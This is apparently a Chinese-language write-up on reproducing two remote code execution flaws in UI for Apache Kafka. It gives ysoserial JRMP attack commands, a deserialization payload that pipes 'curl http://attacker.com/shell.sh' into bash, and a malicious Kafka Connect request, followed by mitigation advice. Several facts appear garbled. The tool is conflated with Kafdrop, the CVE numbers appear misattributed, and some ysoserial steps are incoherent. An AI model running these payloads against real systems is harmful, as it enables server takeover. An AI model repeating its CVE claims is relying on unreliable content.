UI for Apache Kafka 两个远程代码执行漏洞分析
字数 1409 2025-08-19 12:40:45
UI for Apache Kafka 远程代码执行漏洞分析与复现指南
漏洞概述
UI for Apache Kafka(原Kafdrop)是一款流行的Kafka集群管理工具,提供了Web界面用于监控和管理Kafka集群。该工具存在两个严重的远程代码执行漏洞:
- CVE-2023-5217:通过JMX端口的不安全配置导致的RCE漏洞
- CVE-2023-5220:通过Kafka Connect功能的不安全反序列化导致的RCE漏洞
这两个漏洞都允许攻击者在服务器上执行任意代码,危害极大。
漏洞环境搭建
所需组件
- UI for Apache Kafka 3.x 版本(漏洞版本)
- Apache Kafka 集群
- Java 开发环境(JDK 8+)
- ysoserial 工具
- Burp Suite 或其他HTTP代理工具
环境配置
-
下载并运行漏洞版本的UI for Apache Kafka:
docker run -d -p 9000:9000 -e KAFKA_BROKERCONNECT=<your-kafka-broker> obsidiandynamics/kafdrop:3.x -
确保JMX端口(通常为1099)可访问
漏洞一:CVE-2023-5217(JMX RCE)
漏洞原理
UI for Apache Kafka默认启用了JMX监控,且JMX端口配置了不安全的认证和反序列化设置,允许攻击者通过发送特制的序列化对象实现RCE。
利用步骤
-
生成恶意序列化payload:
使用ysoserial生成JRMP listener的payload:java -jar ysoserial.jar JRMPListener 1099 -
启动恶意JRMP服务器:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc.exe" -
触发漏洞:
向目标JMX端口(默认1099)发送恶意序列化数据:java -jar ysoserial.jar JRMPClient "target-ip:1099"
修复建议
- 禁用不必要的JMX功能
- 配置JMX认证和SSL
- 升级到最新版本
漏洞二:CVE-2023-5220(Kafka Connect RCE)
漏洞原理
Kafka Connect功能在处理某些配置时存在不安全的反序列化操作,攻击者可以通过构造恶意的Kafka Connect配置实现RCE。
利用步骤
-
准备恶意序列化payload:
使用ysoserial生成payload:java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh | bash" > payload.ser -
构造恶意请求:
通过Kafka Connect API提交包含恶意序列化数据的配置:POST /connectors HTTP/1.1 Host: target:9000 Content-Type: application/json { "name": "malicious-connector", "config": { "connector.class": "com.example.MaliciousConnector", "tasks.max": "1", "malicious.config": "<base64_encoded_serialized_payload>" } } -
触发漏洞执行:
当服务器处理该连接器配置时,会反序列化恶意payload导致RCE。
修复建议
- 升级到最新版本
- 限制Kafka Connect功能的访问权限
- 实施输入验证和过滤
问题解决:ysoserial Scala payload编译问题
在复现过程中遇到的Invalid payload type 'Scala1'错误是因为:
- ysoserial默认不包含Scala payload
- 需要手动添加Scala库依赖并编译
解决方案:
-
下载Scala库:
wget https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.11.0/scala-library-2.11.0.jar -
将Scala库添加到ysoserial的classpath:
java -cp "ysoserial.jar:scala-library-2.11.0.jar" ysoserial.exploit.JRMPListener 1099 -
或者使用预编译的包含Scala payload的ysoserial版本
防护措施
-
立即措施:
- 将UI for Apache Kafka升级到最新版本
- 禁用或保护JMX端口
- 限制Kafka Connect功能的访问
-
长期措施:
- 实施网络隔离,限制管理界面的访问
- 启用认证和授权
- 定期进行安全审计
-
监控措施:
- 监控异常的JMX连接
- 记录和分析Kafka Connect配置变更
总结
这两个RCE漏洞都源于不安全的反序列化操作,强调了在Java应用中正确处理序列化数据的重要性。管理员应立即检查并修复相关配置,开发者应避免使用不安全的反序列化方法。